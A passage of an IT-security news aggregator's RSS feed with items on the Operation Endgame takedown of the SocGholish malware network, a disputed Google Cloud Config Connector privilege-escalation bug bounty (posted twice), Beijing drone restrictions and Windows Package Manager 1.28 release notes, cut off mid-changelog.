<content:encoded><![CDATA[<p><img width="1408" height="768" src="https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="SocGholish Malware" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware.webp 1408w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-300x164.webp 300w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-1024x559.webp 1024w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-768x419.webp 768w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-600x327.webp 600w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-150x82.webp 150w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-750x409.webp 750w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-1140x622.webp 1140w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware.webp 1408w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-300x164.webp 300w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-1024x559.webp 1024w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-768x419.webp 768w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-600x327.webp 600w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-150x82.webp 150w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-750x409.webp 750w, https://thecyberexpress.com/wp-content/uploads/SocGholish-Malware-1140x622.webp 1140w" sizes="(max-width: 1408px) 100vw, 1408px" title="Operation Endgame Hits SocGholish Malware Network, 14,971 Websites Cleaned 3"></p>Operation Endgame Hits SocGholish Malware Network after international law enforcement agencies carried out a coordinated operation targeting one of the most significant malware distribution chains linked to cybercrime. Authorities announced the remediation of 14,971 websites infected with SocGholish Malware, a threat used by the cybercriminal group <a href="https://thecyberexpress.com/russian-state-linked-evil-corp-sanctioned/" target="_blank" rel="noopener">Evil Corp</a> to gain unauthorized access to victim systems and facilitate further attacks.

The operation involved law enforcement agencies from the <a href="https://thecyberexpress.com/nexperia-security-threat-dutch-government-step/" target="_blank" rel="noopener">Netherlands</a>, Canada, the United States, and Germany, with support from <a href="https://thecyberexpress.com/europol-traces-55-mn-crypto-digital-piracy/" target="_blank" rel="noopener">Europol</a> and Eurojust. Officials described the action as a major disruption of the infrastructure used to distribute malware through compromised <a href="https://thecyberexpress.com/wp-maps-pro-vulnerability/" target="_blank" rel="noopener">WordPress websites</a>.
<h3><strong>Operation Endgame Hits SocGholish Malware Network Across Multiple Countries</strong></h3>
During the coordinated action week, authorities took down 106 servers and domains associated with the criminal infrastructure supporting SocGholish operations.

<a href="https://www.politie.nl/en/news/2026/juni/18/11-international-law-enforcement-initiate-hunt-on-malware-group-socgholish.html" target="_blank" rel="nofollow noopener">According to investigators</a>, SocGholish Malware spreads primarily through compromised WordPress websites. Visitors to infected websites are presented with fake software update prompts, often disguised as browser updates. Once downloaded and installed, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28767">malware</a> establishes access to the victim's system, allowing attackers to deploy additional malicious software.

Law enforcement agencies also disabled the SocGholish <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-botnet/" target="_blank" rel="noopener" title="Botnet" data-wpil-keyword-link="linked" data-wpil-monitor-id="28769">Botnet</a> by seizing domains and taking servers offline.

In addition to infrastructure takedowns, authorities cleaned infected WordPress sites and launched a large-scale victim notification campaign to warn affected website owners and encourage stronger security measures.
<h3><strong>WordPress Websites at the Center of the Campaign</strong></h3>
Authorities highlighted the widespread use of WordPress as a factor contributing to the scale of the threat. According to WordPress, more than 43% of websites worldwide are built on the platform.

Investigators reported that login credentials for approximately 1.4 million websites have been leaked, increasing the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28771">risk</a> of unauthorized access and malware infections.

Cybercriminals behind SocGholish typically compromise websites by exploiting weak passwords, stolen credentials, or vulnerable website configurations. Once access is obtained, malicious code is inserted into websites, allowing attackers to distribute fake updates to visitors.

The infected websites included platforms providing everyday services, such as restaurants and automotive repair businesses.
<h3><strong>Authorities Urge Website Owners to Strengthen Security</strong></h3>
The Dutch National High Tech <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="Crime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28766">Crime</a> Unit stated that malware and backdoors have been removed from affected websites and that site owners have been notified.

Website owners have been urged to:
<ul>
 	<li>Change login credentials</li>
 	<li>Enable <a href="https://thecyberexpress.com/cybersecurity-awareness-month-what-is-2fa-mfa-and-why-should-you-care/" rel="nofollow">Multi-Factor Authentication (MFA)</a></li>
 	<li>Remove unknown WordPress accounts</li>
 	<li>Keep WordPress installations updated</li>
</ul>
Authorities emphasized that these measures can significantly reduce the likelihood of future compromise.
<h3><strong>Fake Updates Continue to Drive Infections</strong></h3>
Also known as <strong>FakeUpdates</strong>, SocGholish has remained active since 2017 and continues to be used as an initial access tool for broader cybercriminal operations.

The <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28773">malware</a> is distributed through fraudulent software update messages that appear while users browse compromised websites. Once installed, the malware creates a connection to attackers, enabling them to gain access to victim systems.

Officials warned users not to trust browser pop-ups requesting immediate software updates and advised obtaining updates only through official application stores, system settings, or verified vendors.

Additional recommendations include maintaining updated antivirus software and exercising caution when encountering urgent update notifications.

Law enforcement agencies linked Evil Corp to the SocGholish malware operation. The group has previously been associated with Zeus and Dridex malware campaigns, as well as multiple <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28768">ransomware</a> and money laundering operations.

Authorities noted that SocGholish has been used to deploy various <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-ransomware-how-it-work/" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="28772">ransomware</a> strains that have impacted organizations and critical infrastructure targets worldwide.
<h3><strong>Operation Endgame Expands Global Cybercrime Disruption Efforts</strong></h3>
Launched in 2024, Operation Endgame is described by participating agencies as the largest international effort to combat ransomware and <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/" target="_blank" rel="noopener" title="cybercrime" data-wpil-keyword-link="linked" data-wpil-monitor-id="28770">cybercrime</a>. The initiative brings together law enforcement and judicial authorities from the Netherlands, Germany, Denmark, the United States, Australia, France, Belgium, the United Kingdom, and Canada, with support from Europol and Eurojust.

Officials stated that cooperation between public agencies and private-sector <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noopener" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="28765">cybersecurity</a> organizations remains a critical component of the operation as efforts continue against SocGholish and other cybercriminal networks.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Told Researcher 'Nice Catch!' Then Denied Bug Bounty For Flaw It Still Hasn't Fixed]]></title>
<description><![CDATA[Security researcher Justin O'Leary says Google initially accepted his Config Connector privilege-escalation report as a high-priority, high-severity bug, then denied a bounty by declaring the behavior "working as intended." According to The Register, a Google rep initially praised O'Leary's repor...]]></description>
<link>https://tsecurity.de/de/3608548/it-security-nachrichten/google-told-researcher-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608548/it-security-nachrichten/google-told-researcher-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed/</guid>
<pubDate>Thu, 18 Jun 2026 19:23:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security researcher Justin O'Leary says Google initially accepted his Config Connector privilege-escalation report as a high-priority, high-severity bug, then denied a bounty by declaring the behavior "working as intended." According to The Register, a Google rep initially praised O'Leary's report with a "Nice catch!" before the cloud giant reversed course, declaring that no vulnerability existed and therefore no fix or reward was warranted. "The bug report, however, is still marked high-priority and accepted," the publication notes. The alleged flaw, dubbed ConfigConfusion, could let a Kubernetes namespace user exploit an overprivileged service account to become a GCP organization owner with only a few lines of YAML and little apparent audit visibility. O'Leary details the incident in a blog post. The Register reports: According to O'Leary, Config Connector doesn't perform an authorization check, and this allows any Config Connector service account with org-level permissions to bypass Identity and Access Management (IAM) authorization and gain the highest level of control (roles/owner) to an entire GCP Organization -- the root node of all of a company's resources within Google Cloud. On March 27, a Google security engineer accepted O'Leary's report and told him: "Nice catch!" The employee said that they filed a bug based on O'Leary's report with the relevant product team and assured him the Chocolate Factory's security squad would work with relevant Google Cloud people to fix the flaw. "We'll work with the product team to ensure this issue is address. We'll let you know when the issue was fixed," the engineer said. "In the meantime, review the payment option selected in your bughunters.google.com profile."
 
Google assigned the bug P1 priority and S1 severity, signifying a flaw worthy of urgent repair because it affects a large percentage of users and can disrupt core organizational functions. "I figured that was the end of that," O'Leary said in a phone interview with The Register. Eleven days later, on April 7, he received a new message from a Google Security Bot reversing the earlier decision. The Reg viewed the email, and O'Leary included a screenshot in his Thursday writeup. The message said that the Cloud Vulnerability Reward Program panel decided that the "security impact of this issue does not meet the criteria to qualify for a reward."
 
After reviewing the bug report, Google determined the software "is working as intended," the message continued. It also noted that the program's decision not to pay a bounty "does not mean that the product team won't fix the issue." Nearly three months later, the case remains P1/S1 with the status "in progress (accepted)." Google hasn't assigned a CVE or issued a fix. O'Leary didn't receive any reward for his research. [...] "This is a pattern," O'Leary told [The Register]. "This is just how these trillion-dollar companies deal with people like me. In my day job, we use GKE, and it's incredibly frustrating on my end, when I find a critical vulnerability in the system that's being widely used, and I can't even get the vendor to patch their own stuff." A Google spokesperson told The Register: "The issue reported does not qualify for a reward because the GCP IAM authorization bypass is only exploitable if an attacker has access to a Config Connector Service Account that's been granted the Organization Admin role by the organization (i.e., it is privileged). Additionally, an attacker would first need to gain entry to an organization's environment (e.g., an exposed container) in order to leverage the privileged Config Connector instance and execute commands with administrative authority, such as the IAM bypass. Granting this level of access to the Config Connector Service Account goes against Google Cloud's publicly shared best practices and the principle of least privilege."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+Told+Researcher+'Nice+Catch!'+Then+Denied+Bug+Bounty+For+Flaw+It+Still+Hasn't+Fixed%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F06%2F18%2F1656252%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F06%2F18%2F1656252%2Fgoogle-told-researcher-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/06/18/1656252/google-told-researcher-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Toldl Researchers 'Nice Catch!' Then Denied Bug Bounty For Flaw It Still Hasn't Fixed]]></title>
<description><![CDATA[Security researcher Justin O'Leary says Google initially accepted his Config Connector privilege-escalation report as a high-priority, high-severity bug, then denied a bounty by declaring the behavior "working as intended." "Google initially rated the bug high priority and high severity, with a r...]]></description>
<link>https://tsecurity.de/de/3608496/it-security-nachrichten/google-toldl-researchers-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608496/it-security-nachrichten/google-toldl-researchers-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed/</guid>
<pubDate>Thu, 18 Jun 2026 19:09:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security researcher Justin O'Leary says Google initially accepted his Config Connector privilege-escalation report as a high-priority, high-severity bug, then denied a bounty by declaring the behavior "working as intended." "Google initially rated the bug high priority and high severity, with a rep telling O'Leary 'Nice Catch!' Then, the cloud giant changed course and told O'Leary [...] that there's no vulnerability, so no fix and no reward payout," reports The Register. "The bug report, however, is still marked high-priority and accepted." The alleged flaw, dubbed ConfigConfusion, could let a Kubernetes namespace user exploit an overprivileged service account to become a GCP organization owner with only a few lines of YAML and little apparent audit visibility. O'Leary details the incident in a blog post. The Register reports: According to O'Leary, Config Connector doesn't perform an authorization check, and this allows any Config Connector service account with org-level permissions to bypass Identity and Access Management (IAM) authorization and gain the highest level of control (roles/owner) to an entire GCP Organization -- the root node of all of a company's resources within Google Cloud. On March 27, a Google security engineer accepted O'Leary's report and told him: "Nice catch!" The employee said that they filed a bug based on O'Leary's report with the relevant product team and assured him the Chocolate Factory's security squad would work with relevant Google Cloud people to fix the flaw. "We'll work with the product team to ensure this issue is address. We'll let you know when the issue was fixed," the engineer said. "In the meantime, review the payment option selected in your bughunters.google.com profile."
 
Google assigned the bug P1 priority and S1 severity, signifying a flaw worthy of urgent repair because it affects a large percentage of users and can disrupt core organizational functions. "I figured that was the end of that," O'Leary said in a phone interview with The Register. Eleven days later, on April 7, he received a new message from a Google Security Bot reversing the earlier decision. The Reg viewed the email, and O'Leary included a screenshot in his Thursday writeup. The message said that the Cloud Vulnerability Reward Program panel decided that the "security impact of this issue does not meet the criteria to qualify for a reward."
 
After reviewing the bug report, Google determined the software "is working as intended," the message continued. It also noted that the program's decision not to pay a bounty "does not mean that the product team won't fix the issue." Nearly three months later, the case remains P1/S1 with the status "in progress (accepted)." Google hasn't assigned a CVE or issued a fix. O'Leary didn't receive any reward for his research. [...] "This is a pattern," O'Leary told [The Register]. "This is just how these trillion-dollar companies deal with people like me. In my day job, we use GKE, and it's incredibly frustrating on my end, when I find a critical vulnerability in the system that's being widely used, and I can't even get the vendor to patch their own stuff." A Google spokesperson told The Register: "The issue reported does not qualify for a reward because the GCP IAM authorization bypass is only exploitable if an attacker has access to a Config Connector Service Account that's been granted the Organization Admin role by the organization (i.e., it is privileged). Additionally, an attacker would first need to gain entry to an organization's environment (e.g., an exposed container) in order to leverage the privileged Config Connector instance and execute commands with administrative authority, such as the IAM bypass. Granting this level of access to the Config Connector Service Account goes against Google Cloud's publicly shared best practices and the principle of least privilege."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+Toldl+Researchers+'Nice+Catch!'+Then+Denied+Bug+Bounty+For+Flaw+It+Still+Hasn't+Fixed%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F06%2F18%2F1656252%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F06%2F18%2F1656252%2Fgoogle-toldl-researchers-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/06/18/1656252/google-toldl-researchers-nice-catch-then-denied-bug-bounty-for-flaw-it-still-hasnt-fixed?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[You Can No Longer Fly Or Purchase a Drone In Beijing]]></title>
<description><![CDATA[Longtime Slashdot reader schwit1 shares a report from PetaPixel: China dominates the consumer drone market, so it is perhaps surprising that it is no longer possible to fly or even purchase a drone in Beijing. The new law that passed last month makes it illegal to buy, rent, or fly a drone withou...]]></description>
<link>https://tsecurity.de/de/3608183/it-security-nachrichten/you-can-no-longer-fly-or-purchase-a-drone-in-beijing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608183/it-security-nachrichten/you-can-no-longer-fly-or-purchase-a-drone-in-beijing/</guid>
<pubDate>Thu, 18 Jun 2026 17:15:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Longtime Slashdot reader schwit1 shares a report from PetaPixel: China dominates the consumer drone market, so it is perhaps surprising that it is no longer possible to fly or even purchase a drone in Beijing. The new law that passed last month makes it illegal to buy, rent, or fly a drone without prior approval from the authorities. Users must also complete an online training session and pass a test on drone regulations. Under the new rules, drone users are also not allowed to repair or replace their drones in Beijing. Not only that, but a drone in a repair shop must be picked up in-person, rather than sent back by delivery.
 
The BBC reports that drones must now be registered before being brought into and out of the Chinese capital. "I have to apply for permission for each flight, which is very inconvenient," drone enthusiast Steven Wang tells CNN. "And starting this year, the wait time is getting longer, and the reasons for rejection are becoming more vague." Despite China being the birthplace of the consumer drone industry, it is increasingly difficult for hobbyists to fly there. Beijing authorities say that the rules are made to "strengthen the management of unmanned aerial vehicles" and "safeguard the security of the capital."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=You+Can+No+Longer+Fly+Or+Purchase+a+Drone+In+Beijing%3A+https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F18%2F0040249%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fnews.slashdot.org%2Fstory%2F26%2F06%2F18%2F0040249%2Fyou-can-no-longer-fly-or-purchase-a-drone-in-beijing%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://news.slashdot.org/story/26/06/18/0040249/you-can-no-longer-fly-or-purchase-a-drone-in-beijing?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[All Your Wearables Have One Glaring Weakness. What Can We Do About It?]]></title>
<description><![CDATA[Wins for the right-to-repair movement mean you can fix your tech, not toss it. But some products are more accessible than others.]]></description>
<link>https://tsecurity.de/de/3604820/it-nachrichten/all-your-wearables-have-one-glaring-weakness-what-can-we-do-about-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3604820/it-nachrichten/all-your-wearables-have-one-glaring-weakness-what-can-we-do-about-it/</guid>
<pubDate>Wed, 17 Jun 2026 14:48:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Wins for the right-to-repair movement mean you can fix your tech, not toss it. But some products are more accessible than others.]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.28.220]]></title>
<description><![CDATA[This is a release candidate of Windows Package Manager v1.28. If you find any bugs or problems, please help us out by filing an issue.
New in v1.28

Bumped the winget version to 1.28 to match the package version.
Additional options for limiting the size of log files.

New Feature: 'source edit'
N...]]></description>
<link>https://tsecurity.de/de/3601259/downloads/windows-package-manager-128220/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601259/downloads/windows-package-manager-128220/</guid>
<pubDate>Tue, 16 Jun 2026 11:31:56 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a release candidate of Windows Package Manager v1.28. If you find any bugs or problems, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.28</h2>
<ul>
<li>Bumped the winget version to 1.28 to match the package version.</li>
<li>Additional <a href="https://github.com/microsoft/winget-cli/blob/master/doc/Settings.md#file">options for limiting the size of log files</a>.</li>
</ul>
<h1>New Feature: 'source edit'</h1>
<p>New feature that adds an 'edit' subcommand to the 'source' command. This can be used to set an explicit source to be implicit and vice-versa. For example, with this feature you can make the 'winget-font' source an implicit source instead of explicit source.</p>
<p>To use the feature, try <code>winget source edit winget-font</code> to set the Explicit state to the default.</p>
<h1>New Experimental Feature: 'listDetails'</h1>
<p>The new experimental feature <code>listDetails</code> enables a new option for the <code>list</code> command, <code>--details</code>.  When supplied, the output is no longer a table view of the results but is instead a series of <code>show</code> like outputs drawing data from the installed item.</p>
<p>An example output for a single installed package is:</p>
<div class="highlight highlight-source-powershell notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&gt; wingetdev list Microsoft.VisualStudio.2022.Enterprise --details
Visual Studio Enterprise 2022 [Microsoft.VisualStudio.2022.Enterprise]
Version: 17.14.21 (November 2025)
Publisher: Microsoft Corporation
Local Identifier: ARP\Machine\X86\875fed29
Product Code: 875fed29
Installer Category: exe
Installed Scope: Machine
Installed Location: C:\Program Files\Microsoft Visual Studio\2022\Enterprise
Available Upgrades:
  winget [17.14.23]"><pre><span class="pl-k">&gt;</span> wingetdev list Microsoft.VisualStudio.<span class="pl-c1">2022.</span>Enterprise <span class="pl-k">--</span>details
Visual Studio Enterprise <span class="pl-c1">2022</span> [<span class="pl-k">Microsoft.VisualStudio.2022.Enterprise</span>]
Version: <span class="pl-c1">17.14</span>.<span class="pl-c1">21</span> (November <span class="pl-c1">2025</span>)
Publisher: Microsoft Corporation
Local Identifier: ARP\Machine\X86\875fed29
Product Code: 875fed29
Installer Category: exe
Installed Scope: Machine
Installed Location: C:\Program Files\Microsoft Visual Studio\<span class="pl-c1">2022</span>\Enterprise
Available Upgrades:
  winget [<span class="pl-c1">17.14</span>.<span class="pl-c1">23</span>]</pre></div>
<p>If sixels are enabled and supported by the terminal, an icon for the installed package will be shown.</p>
<p>To enable this feature, add the 'listDetails' experimental feature to your settings.</p>
<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='"experimentalFeatures": {
    "listDetails": true
},'><pre class="notranslate"><code>"experimentalFeatures": {
    "listDetails": true
},
</code></pre></div>
<h2>Bug Fixes</h2>
<ul>
<li>Portable Packages now use the correct directory separators regardless of which convention is used in the manifest</li>
<li><code>--suppress-initial-details</code> now works with <code>winget configure test</code></li>
<li><code>--suppress-initial-details</code> no longer requires <code>--accept-configuration-agreements</code></li>
<li>Corrected property of <code>Font</code> experimental feature to accurately reflect <code>fonts</code> as the required setting value</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Update the other TDBuild task by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3151652738" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5534" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5534/hovercard" href="https://github.com/microsoft/winget-cli/pull/5534">#5534</a></li>
<li>Use windows-latest agents in localization pipeline by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3154579970" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5538" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5538/hovercard" href="https://github.com/microsoft/winget-cli/pull/5538">#5538</a></li>
<li>Bump version to v1.12 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3151371086" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5532" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5532/hovercard" href="https://github.com/microsoft/winget-cli/pull/5532">#5532</a></li>
<li>Allow set foreground from PS by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3154984365" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5541" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5541/hovercard" href="https://github.com/microsoft/winget-cli/pull/5541">#5541</a></li>
<li>Move to proper signal for dev/not-dev by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3169763143" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5552" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5552/hovercard" href="https://github.com/microsoft/winget-cli/pull/5552">#5552</a></li>
<li>Use SDK 26100 in CommonCore project by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3200120927" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5570" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5570/hovercard" href="https://github.com/microsoft/winget-cli/pull/5570">#5570</a></li>
<li>Repair Repair-WinGetPackageManager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3197628230" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5568" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5568/hovercard" href="https://github.com/microsoft/winget-cli/pull/5568">#5568</a></li>
<li>Use cpprestsdk v2.10.18 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3197577111" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5567" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5567/hovercard" href="https://github.com/microsoft/winget-cli/pull/5567">#5567</a></li>
<li>Undefined-behaviour fix: safely call std::isspace in CompletionData by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mohiuddin-khan-shiam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mohiuddin-khan-shiam">@mohiuddin-khan-shiam</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3186146724" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5564" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5564/hovercard" href="https://github.com/microsoft/winget-cli/pull/5564">#5564</a></li>
<li>Add missing compilation flags for vcpkg ports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3224397023" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5587" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5587/hovercard" href="https://github.com/microsoft/winget-cli/pull/5587">#5587</a></li>
<li>Add more missing flags for vcpkg by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3237619990" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5592" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5592/hovercard" href="https://github.com/microsoft/winget-cli/pull/5592">#5592</a></li>
<li>Swallow provisioned package errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3240833652" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/5595" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/5595/hovercard" href="https://github.com/microsoft/winget-cli/pull/5595">#5595</a></li>
